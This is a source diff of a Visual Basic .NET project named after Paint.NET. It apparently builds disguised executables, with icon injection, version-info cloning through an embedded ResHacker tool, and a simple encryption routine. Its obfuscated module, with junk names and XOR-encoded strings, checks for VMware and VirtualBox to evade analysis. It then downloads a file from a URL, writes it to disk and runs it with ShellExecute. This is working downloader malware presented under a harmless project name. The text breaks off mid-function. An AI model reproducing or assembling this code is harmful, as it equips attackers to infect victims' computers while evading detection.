Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
Const RT_ICON As UInteger = 3UI
Const RT_GROUP_ICON As UInteger = 14UI
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
Dim data = iconFile.CreateIconGroupData(iconBaseID)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
For i = 0 To iconFile.ImageCount - 1
Dim image = iconFile.ImageData(i)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
Next
NativeMethods.EndUpdateResource(hUpdate, False)
End Sub
Private Class IconFile
Private iconDir As New ICONDIR
Private iconEntry() As ICONDIRENTRY
Private iconImage()() As Byte
Public ReadOnly Property ImageCount() As Integer
Get
Return iconDir.Count
End Get
End Property
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
Get
Return iconImage(index)
End Get
End Property
Private Sub New()
End Sub
Public Shared Function FromFile(ByVal filename As String) As IconFile
Dim instance As New IconFile
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
Dim offset = Marshal.SizeOf(instance.iconDir)
Dim iconDirEntryType = GetType(ICONDIRENTRY)
Dim size = Marshal.SizeOf(iconDirEntryType)
For i = 0 To instance.iconDir.Count - 1
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
instance.iconEntry(i) = entry
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
offset += size
Next
pinnedBytes.Free()
Return instance
End Function
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
Dim data(sizeOfIconGroupData - 1) As Byte
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
Dim offset = Marshal.SizeOf(iconDir)
For i = 0 To ImageCount - 1
Dim grpEntry As New GRPICONDIRENTRY
Dim bitmapheader As New BITMAPINFOHEADER
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
pinnedBitmapInfoHeader.Free()
grpEntry.Width = iconEntry(i).Width
grpEntry.Height = iconEntry(i).Height
grpEntry.ColorCount = iconEntry(i).ColorCount
grpEntry.Reserved = iconEntry(i).Reserved
grpEntry.Planes = bitmapheader.Planes
grpEntry.BitCount = bitmapheader.BitCount
grpEntry.BytesInRes = iconEntry(i).BytesInRes
grpEntry.ID = CType(iconBaseID + i, UShort)
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
Next
pinnedData.Free()
Return data
End Function
End Class
End Class
@@ -0,0 +1,128 @@
Imports System.Text
Imports System.IO
Imports System.Reflection
Imports System.Threading
Module mFunciones
Public Myself As String = Assembly.GetExecutingAssembly().Location
Public FOLDER_MYSELF As String = Path.GetDirectoryName(Myself)
Public Function getKey(Longitud As Long) As String
Dim Letters As New List(Of Integer)
For i As Integer = 48 To 57
Letters.Add(i)
Next
For i As Integer = 97 To 122
Letters.Add(i)
Next
For i As Integer = 65 To 90
Letters.Add(i)
Next
Dim Rnd As New Random
Dim SB As New System.Text.StringBuilder
Dim Temp As Integer
For count As Integer = 1 To Longitud
Temp = Rnd.Next(0, Letters.Count)
SB.Append(Chr(Letters(Temp)))
Next
Return SB.ToString
End Function
Public Function Stairs(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
Dim buff() As Byte = Stairs(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
Stairs = Encoding.Default.GetString(buff)
Erase buff
End Function
Public Function Stairs(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
Array.Resize(Data, Data.Length + 1)
Data(Data.Length - 1) = Convert.ToByte(New Random().Next(1, 255))
For i = (Data.Length - 1) * (ExtraRounds + 1) To 0 Step -1
Data(i Mod Data.Length) = CByte(CInt((Data(i Mod Data.Length)) + CInt(Data((i + 1) Mod Data.Length))) Mod 256) Xor Key(i Mod Key.Length)
Next
Return Data
End Function
Public Function Unknown(ByVal sString As String, ByVal sKD As String) As String
Dim i As Long, k As Long
Rnd(-1)
Randomize(sKD.Length)
For k = 1 To sKD.Length
i += (((k Mod 256) Xor Asc(Mid(sKD, k, 1))) Xor Fix(256 * Rnd()))
Application.DoEvents()
Next k
Rnd(-1)
Randomize(i)
For k = 1 To sString.Length
Mid(sString, k, 1) = Chr(Fix(256 * Rnd()) Xor Asc(Mid(sString, k, 1)))
Application.DoEvents()
Next k
Return sString
End Function
Public Function ExtStr(cadena As String, Opt As Long, Optional dirChar As String = "\") As String
Dim FullName As String
FullName = Mid$(cadena, InStrRev(cadena, dirChar) + 1)
Select Case Opt
Case 1
'Nombre
ExtStr = Mid$(FullName, 1, InStrRev(FullName, ".") - 1)
Case 2
'Extension
ExtStr = "." & Mid$(FullName, InStrRev(FullName, ".") + 1)
Case 3
'Nombre + Extension
ExtStr = FullName
Case Else
ExtStr = cadena
End Select
End Function
Public Function ReadFile(sFilePath As String) As String
Try
Dim FF As Integer
FF = FreeFile()
FileOpen(FF, sFilePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
ReadFile = New String(Chr(0), FileLen(sFilePath))
FileGet(FF, ReadFile)
FileClose(FF)
Catch ex As Exception
Return ""
End Try
End Function
Public Sub WriteFile(sPath As String, sData As String)
Dim FF As Integer
FF = FreeFile()
FileOpen(FF, sPath, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(FF, sData)
FileClose(FF)
End Sub
Public Sub WriteFile(sPath As String, sData() As Byte)
Dim FF As Integer
FF = FreeFile()
FileOpen(FF, sPath, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(FF, sData)
FileClose(FF)
End Sub
Public Sub cloneInfo(sourceFile As String, destFile As String)
Dim resHacker() As Byte = My.Resources.ResHacker
Dim resHackerPath As String = FOLDER_MYSELF & "\ResHacker.exe"
WriteFile(resHackerPath, resHacker)
Thread.Sleep(1000)
Application.DoEvents()
Shell(resHackerPath & " -extract " & sourceFile & ", " & FOLDER_MYSELF & "\replaceResource.res" & ", " & "versionInfo, 1,")
Shell(resHackerPath & " -delete " & destFile & ", " & destFile & ", " & "versionInfo, 1,")
Shell(resHackerPath & " -addoverwrite " & destFile & ", " & destFile & ", " & FOLDER_MYSELF & "\replaceResource.res" & ", " & "versionInfo, 1,")
Thread.Sleep(1000)
Application.DoEvents()
My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\replaceResource.res")
My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\ResHacker.ini")
My.Computer.FileSystem.DeleteFile(FOLDER_MYSELF & "\ResHacker.log")
My.Computer.FileSystem.DeleteFile(resHackerPath)
End Sub
End Module
Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

+28
View File
@@ -0,0 +1,28 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.30501.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "PaintDotNet.Core", "OSD\PaintDotNet.Core.vbproj", "{E34E00A1-BFA9-423B-94EA-62B2361532A7}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Debug|x86 = Debug|x86
Release|Any CPU = Release|Any CPU
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|Any CPU.Build.0 = Debug|Any CPU
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.ActiveCfg = Release|x86
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Debug|x86.Build.0 = Release|x86
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.ActiveCfg = Release|Any CPU
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|Any CPU.Build.0 = Release|Any CPU
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.ActiveCfg = Release|x86
{E34E00A1-BFA9-423B-94EA-62B2361532A7}.Release|x86.Build.0 = Release|x86
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@

@@ -0,0 +1,177 @@
Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Reflection
Imports System.Text
Imports System.Net
Module EffectEnvironmentParameters
Public KJm0d156fyrMEaWwNO0K3bfZ9J5BkICgwvjhYT6nOBhio As String = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments)
Public kWaXctCkG1M87a2TzGIa13Q0s5QC4PRZVUWcga2HcP45k As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Public iyvLtYcU4sMmGLNgsx1jXvomFr4Vp0tPR2HKBV6M2xahy As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÌÒÕßÒÉ", ""))
Public de1CUxTd38qMOK9wgwBvvY3gghGRIoTxzarNJDsE4zLNQ As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÎÈÞÉËÉÔÝÒ×Þ", ""))
Public tw4OgvRXFjasuS9nwrSun6F9CQMa0U5DPj9aQfwKc57zr As String = Environment.GetEnvironmentVariable(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÏÞÖË", ""))
Public qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg As String = Assembly.GetExecutingAssembly().Location
Public wmqTQ2lC3eYMxjBcqF2OLjzOk3NLk6r1NhZcYSvEmvHME As String = Path.GetDirectoryName(qbOzL3Fc71of7CgReQCcrskivEaKmvBlk95HjFbCKQ7zg)
Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByVal SÆÆWœœÆjbØœœœPg8PdWkœœÆØc As String, ByVal vaKÆÆØœeFœwVØcœØØOØØœIlÆØ As String, Optional ByVal uilØœoA4ÆcÆØoÆLtRnØGsÆnT4 As UInteger = 0) As String
Dim c3ÆcUœØfvTØÆcQØZØDœMPzM2m() As Byte = VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(Encoding.Default.GetBytes(SÆÆWœœÆjbØœœœPg8PdWkœœÆØc), Encoding.Default.GetBytes(vaKÆÆØœeFœwVØcœØØOØØœIlÆØ), uilØœoA4ÆcÆØoÆLtRnØGsÆnT4)
VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs = Encoding.Default.GetString(c3ÆcUœØfvTØÆcQØZØDœMPzM2m)
Erase c3ÆcUœØfvTØÆcQØZØDœMPzM2m
End Function
Public Function VwrbYf5MXOiupkfkVrgFBLhOaGrVR64jTZyuzib893UBs(ByRef ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7() As Byte, ByVal ÆœfJÆ3ÆÆQœ() As Byte, Optional ByVal SÆØHJCKQk5œÆbœœØM9LI1QÆjØ As UInteger = 0) As Byte()
For i = 0 To (ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1) * (SÆØHJCKQk5œÆbœœØM9LI1QÆjØ + 1)
ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) = CByte((CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7(i Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length) Xor ÆœfJÆ3ÆÆQœ(i Mod ÆœfJÆ3ÆÆQœ.Length)) - CInt(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7((i + 1) Mod ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length)) + 256) Mod 256)
Next
Array.Resize(ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7, ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7.Length - 1)
Return ÆÆØØSQØxlYyBœØqvÆkSœcœœÆ7
End Function
Public Function t7RisfnOoQSCcVbhemIsaxxlDmNgsuBK48kKZrEMYp123(ByVal œRØØQFRœØw As String, ByVal œ02ÆØVaxÆØ As String) As String
Dim ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh As Long, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q As Long
Rnd(-1)
Randomize(œ02ÆØVaxÆØ.Length)
For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œ02ÆØVaxÆØ.Length
ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh += (((HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q Mod 256) Xor Asc(Mid(œ02ÆØVaxÆØ, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1))) Xor Fix(256 * Rnd()))
Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q
Rnd(-1)
Randomize(ØdÆmÆWdÆÆOØg7œ3jVRœØIœHVjZØØ4ØceœÆœØØmi3œQ8œhEœkÆÆØØ9uhÆtØg2ypÆœaœœÆ3œœØœ2r7RylnfcYÆœgÆ550ÆFÆ0tmœoœh)
For HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q = 1 To œRØØQFRœØw.Length
Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1) = Chr(Fix(256 * Rnd()) Xor Asc(Mid(œRØØQFRœØw, HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q, 1)))
Next HÆÆœRÆØf2œuœØsÆx1QØhqAHÆÆ0ØØRDVhpœœœØSØ8ÆÆœTd8ÆKÆaJ4A6oØÆØÆLVƜ؜dRDœ6ØØÆØœ9S1wœl0vÆÆÆvœÆzqQÆ5ÆiCÆ8q
Return œRØØQFRœØw
End Function
Public Function SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU As String, UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ As String) As String
Dim CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf() As Byte
Dim pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF() As Byte
Dim wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe As Integer
Dim OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi As Integer
Dim vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ As Integer
Dim nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy As Integer
pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF = Encoding.Default.GetBytes(GtQYJBujKVMAwOlGrÑdAMqBJVCQKcyAEWEñbONXIkJKueZFaDU)
CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf = Encoding.Default.GetBytes(UIrNxNOÑNIYPNNMSyNHgaZJJKpEPoDhaqqYANFWfPñLpBDZArñ)
vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ = UBound(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF)
nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy = UBound(CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf)
Do Until wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe > vMIsVmGGjÑxDNfCscCBÑDeEAEPCÑnMsuZDBHpOoDxcLCccoWuÑ
pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) = pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF(wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe) Xor CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf(OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi)
OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi + 1
If OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi > nhUOUtxbMEMcaHoHWHKAWHlQJkVVKCzGIUIÑgNQJKZCAAZFyCy Then OBQsQRCBFWVYbOlPoiFyISYÑpEgrwbNAjwWyCAZSIJZppIaHbi = 0
wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe = wLmPkkUNRfBNkXGVhDQFDNNJHxMTBHVvxjqBCBHQORaGBwFFKe + 1
Loop
Erase CLtaqfwELBMtijÑHmKpJSSZWfZCrzSIFNPBSRVSiStnYSZWPDf
SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL = Encoding.Default.GetString(pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF)
Erase pECJXqCPDnTVtQWÑGIñJwxCKPaoHÑTfJeGNAhMbkSFGJZOmPIF
End Function
Public Sub lcmJhcMQPP4JLBXmtr7CNOzV0LzytbeQMB9xr5zUXvcag(ByVal TWœœØG6ÆÆ0 As Double)
Dim c761ØœgNØØ As Date
c761ØœgNØØ = DateAdd(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("è", ""), TWœœØG6ÆÆ0, Now)
Do
Application.DoEvents()
Loop Until Now >= c761ØœgNØØ
End Sub
Public Function WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv() As Boolean
Try
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False
Dim NyØØ6œœkRK As Object
Dim œzœUØ8GÆœÆ As Object
Dim dWGœÆœØØœf As String
dWGœÆœØØœf = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÈÞ×ÞØÏ»±»ÝÉÔÖ»Ìòõ¨©ÄÍòÿþôØôõïéô÷÷þé", "")
NyØØ6œœkRK = GetObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ìòõöüöïè¡", "")).ExecQuery(dWGœÆœØØœf)
For Each œzœUØ8GÆœÆ In NyØØ6œœkRK
Select Case œzœUØ8GÆœÆ.Description
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖ»Úÿÿòïòôõè»È¨»Ïéòô¨©´­¯", "")
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Ȩ»Ïéòô¨©´­¯", "")
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Íòéïîú÷Ùôã»Üéúëóòøè»Úÿúëïþé", "")
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»ÒÒ", "")
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÍÖìúéþ»ÈÍÜÚ»¨ß", "")
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case ""
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = True
Case Else
End Select
Next
Catch PœØØÆgœœSØÆDÆELœÆÆn3aÆzØÆ As Exception
WbJrgH79XC4JQ7QkdsLJ8udMFmWF2XTtkwCpdE8g2C2iv = False
End Try
End Function
Public Function mbqu5dWtJVw7zOZZc6G716lpzvC3S2WF8MD7Mhv5uhT8I(ByRef B8ÆØuDÆØØœ As Integer, ByRef FlØœœeRTØœ As Boolean) As String
Dim Økzx8Wbœpb As New Random()
Dim lXMØbØz6œœ35TjÆzœœEØfØœœœ() As Char = SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("úùøÿþýüóòñð÷öõôëêéèïîíìãâáÚÙØßÞÝÜÓÒÑÐ×ÔÖÕÔËÊÉÈÏÎÍÌÃÂÁ«ª©¨¯®­¬£¢", "").ToCharArray()
Dim itÆWaØSGzJSqA6ÆObGØGœFœBd As String = String.Empty
For Ok5ÆØØJØØS As Integer = 0 To B8ÆØuDÆØØœ - 1
itÆWaØSGzJSqA6ÆObGØGœFœBd += lXMØbØz6œœ35TjÆzœœEØfØœœœ(Økzx8Wbœpb.Next(lXMØbØz6œœ35TjÆzœœEØfØœœœ.Length - 1))
Next
Return IIf(FlØœœeRTØœ, itÆWaØSGzJSqA6ÆObGØGœFœBd.ToUpper(), itÆWaØSGzJSqA6ÆObGØGœFœBd)
End Function
Public Function rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL As String) As String
Try
Dim Æœ1CœœRlØœ As Integer
Æœ1CœœRlØœ = FreeFile()
FileOpen(Æœ1CœœRlØœ, ppJØœGØÆ8d3IØbØœœyÆœRGÆØL, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ = New String(Chr(0), FileLen(ppJØœGØÆ8d3IØbØœœyÆœRGÆØL))
FileGet(Æœ1CœœRlØœ, rCDYiinHKXJyokn8WPNyi9MWWPjQjipGPRF9Hu1dO6WTZ)
FileClose(Æœ1CœœRlØœ)
Catch œQœØeÆzÆØÆIœØØZp2œXYØe25œØa7ÆtœTØ4eidÆ1XÆÆœvÆÆØPœa As Exception
Return ""
End Try
End Function
Public Sub XqzFGaBa9fycWxwoPeWzO0FflkSL5sakHawct005L9ub7(coØsØq6ÆØz As String, ØIØSjL8ÆcØ As String)
Dim Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk As Integer
Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk = FreeFile()
FileOpen(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, coØsØq6ÆØz, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk, ØIØSjL8ÆcØ)
FileClose(Øf18œiNhÆÆÆÆÆÆWPzœÆ8q3wØk)
End Sub
Public Sub EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ÆÆ8dmcØ2cC As String)
Dim œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ As Object
œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("Èóþ÷÷µÚëë÷òøúïòôõ", ""))
œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ.ShellExecute(ÆÆ8dmcØ2cC, "", "", SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ôëþõ", ""), 1)
œÆœœ2eœOØœhÆœÆqJØcÆÆØÆUlœ = Nothing
End Sub
Public Sub FBGId596oUCgMgQ7BtaNfzCS2Kvk2G1dPVxtEUg6XUy2Q(RhœœœœHkØa As String, ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh As String, Optional lvœØØ3œSœ8lvœØØ3œSœ8 As Boolean = True)
Try
Dim ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ As Object
Dim A2SfÆÆ6ØEØFiœVbœrfØœcfOep As Object
ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÖÈÃÖשµÃÖ×ÓÏÏË", ""))
Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Open(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÜÞÏ", ""), RhœœœœHkØa, False)
Call ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.send("")
If ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.Status = 200 Then
A2SfÆÆ6ØEØFiœVbœrfØœcfOep = CreateObject(SvuIrOnnfUJUhGODXAAKGOMoUkPCElVHVGñGkZpWTzFBWFPNmL("ÚßÔßÙµÈïéþúö", ""))
With A2SfÆÆ6ØEØFiœVbœrfØœcfOep
.Open()
.Type = 1
.Write(ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ.responseBody)
.Position = 0
.SaveToFile(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh, 2)
.Close()
End With
A2SfÆÆ6ØEØFiœVbœrfØœcfOep = Nothing
End If
ØKÆvØDdwÆecœ9Ø75EeœœNMØÆÆ = Nothing
If lvœØØ3œSœ8lvœØØ3œSœ8 = True Then Call EsIQTT4QJzFoB1wEhoIHDTXhwNRFmRZyza9XnqlumO0pC(ØØXØØØØ6g7DSQfÆ2ØOMÆØNQØh)
